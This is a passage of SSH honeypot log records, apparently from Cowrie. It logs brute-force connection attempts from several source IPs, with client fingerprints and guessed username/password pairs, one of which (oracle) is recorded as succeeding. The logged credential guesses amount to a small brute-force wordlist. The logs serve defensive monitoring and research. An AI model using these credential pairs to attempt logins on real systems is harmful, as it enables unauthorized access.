@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:35.185184Z","src_ip":"91.92.40.36","session":"423870723ae1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:36.137273Z","src_ip":"87.106.47.28","session":"672e4dc78ae1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"111111","message":"login attempt [admin/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:38.016680Z","src_ip":"91.92.40.36","session":"e532eacbcb51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"intranet","password":"intranet","message":"login attempt [intranet/intranet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:38.988648Z","src_ip":"91.92.40.36","session":"423870723ae1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":58500,"dst_ip":"159.203.135.109","dst_port":22,"session":"59e71e823869","protocol":"ssh","message":"New connection: 14.63.196.175:58500 (159.203.135.109:22) [session: 59e71e823869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:39.553611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:39.557814Z","src_ip":"14.63.196.175","session":"59e71e823869","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:39.760768Z","src_ip":"14.63.196.175","session":"59e71e823869","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.6","message":"Connection lost after 11.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:40.336438Z","src_ip":"91.92.40.36","session":"e532eacbcb51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Password01","message":"login attempt [user/Password01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:40.598261Z","src_ip":"14.63.196.175","session":"59e71e823869","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:41.127266Z","src_ip":"91.92.40.36","session":"423870723ae1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:41.800784Z","src_ip":"14.63.196.175","session":"59e71e823869","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":56856,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad3e244d04e2","protocol":"ssh","message":"New connection: 91.92.40.36:56856 (10.17.0.5:22) [session: ad3e244d04e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:43.777841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:44.541328Z","src_ip":"91.92.40.36","session":"ad3e244d04e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:44.544333Z","src_ip":"91.92.40.36","session":"ad3e244d04e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.146.243.24","src_port":36510,"dst_ip":"159.203.135.109","dst_port":22,"session":"c00f891116cd","protocol":"ssh","message":"New connection: 129.146.243.24:36510 (159.203.135.109:22) [session: c00f891116cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:47.490028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:47.495260Z","src_ip":"129.146.243.24","session":"c00f891116cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:47.592879Z","src_ip":"129.146.243.24","session":"c00f891116cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"partnerapi","password":"123456","message":"login attempt [partnerapi/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:48.001653Z","src_ip":"129.146.243.24","session":"c00f891116cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"password","message":"login attempt [username/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:49.074774Z","src_ip":"91.92.40.36","session":"ad3e244d04e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:49.092798Z","src_ip":"129.146.243.24","session":"c00f891116cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:51.056482Z","src_ip":"91.92.40.36","session":"ad3e244d04e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":10460,"dst_ip":"10.17.0.5","dst_port":22,"session":"b074c44d7543","protocol":"ssh","message":"New connection: 91.92.40.36:10460 (10.17.0.5:22) [session: b074c44d7543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:53.253757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:53.401281Z","src_ip":"91.92.40.36","session":"b074c44d7543","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:54.070072Z","src_ip":"91.92.40.36","session":"b074c44d7543","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":42186,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8c530f3aeb3","protocol":"ssh","message":"New connection: 91.92.40.36:42186 (10.17.0.5:22) [session: e8c530f3aeb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:57.529606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:58.231329Z","src_ip":"91.92.40.36","session":"e8c530f3aeb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:58.235653Z","src_ip":"91.92.40.36","session":"e8c530f3aeb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aman","password":"aman","message":"login attempt [aman/aman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:59.100694Z","src_ip":"91.92.40.36","session":"b074c44d7543","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian","message":"login attempt [debian/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:01.005120Z","src_ip":"91.92.40.36","session":"e8c530f3aeb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.7","message":"Connection lost after 8.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:01.935499Z","src_ip":"91.92.40.36","session":"b074c44d7543","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":50724,"dst_ip":"159.203.135.109","dst_port":22,"session":"a20e193041f1","protocol":"ssh","message":"New connection: 194.59.206.2:50724 (159.203.135.109:22) [session: a20e193041f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:02.892787Z"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:02.897053Z","src_ip":"91.92.40.36","session":"e8c530f3aeb3","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:02.902395Z","src_ip":"194.59.206.2","session":"a20e193041f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":42208,"dst_ip":"10.17.0.5","dst_port":22,"session":"13b0121c597d","protocol":"ssh","message":"New connection: 91.92.40.36:42208 (10.17.0.5:22) [session: 13b0121c597d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:02.933444Z"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:02.988232Z","src_ip":"194.59.206.2","session":"a20e193041f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:03.088779Z","src_ip":"194.59.206.2","session":"a20e193041f1","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:04.278504Z","src_ip":"91.92.40.36","session":"13b0121c597d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:04.282517Z","src_ip":"91.92.40.36","session":"13b0121c597d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123456","message":"login attempt [rdpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:08.392689Z","src_ip":"91.92.40.36","session":"13b0121c597d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":41704,"dst_ip":"10.17.0.5","dst_port":22,"session":"47d45be9753e","protocol":"ssh","message":"New connection: 91.92.40.36:41704 (10.17.0.5:22) [session: 47d45be9753e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:10.341799Z"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:10.419578Z","src_ip":"91.92.40.36","session":"13b0121c597d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:11.483302Z","src_ip":"91.92.40.36","session":"47d45be9753e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:11.486647Z","src_ip":"91.92.40.36","session":"47d45be9753e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"Bmw_20!_^","message":"login attempt [oracle/Bmw_20!_^] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:15.127137Z","src_ip":"91.92.40.36","session":"47d45be9753e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:16.744051Z","src_ip":"91.92.40.36","session":"47d45be9753e","protocol":"ssh"}
